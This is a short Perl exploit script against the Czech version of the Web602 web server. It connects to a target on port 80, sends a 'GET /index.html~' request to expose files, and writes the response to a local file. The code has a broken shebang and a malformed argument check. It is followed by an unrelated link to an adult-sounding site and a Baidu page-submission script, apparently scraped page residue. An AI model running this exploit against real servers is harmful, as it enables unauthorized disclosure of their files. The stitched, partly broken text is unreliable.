#/usr/bin/perl

#web602 (cezch version) driectory tree exploit..
#Written by eip aka deadbeat aka AnGrY_SQl

use IO::Socket;
print "\nWeb602 (czech version) Directory Tee Exploit\n";
if (!$ARGV< 0) {
   print "Usage: perl $0 <host>\n";
}
$host = $ARGV[0];
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"80",
   PeerAddr=>$host,
);
print "Connected..DOS attempt now;)\n";
print $sox "GET /index.html~\r\n";
open FILEHANDLE, ">crap.html";
while(<$sox>) {
   print FILEHANDLE;
}
print "Done..\n";
close FILEHANDLE;
close $sox;   
print "Results are in crap.html\n";
<a href="http://www.qqdpw.com/">97av</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>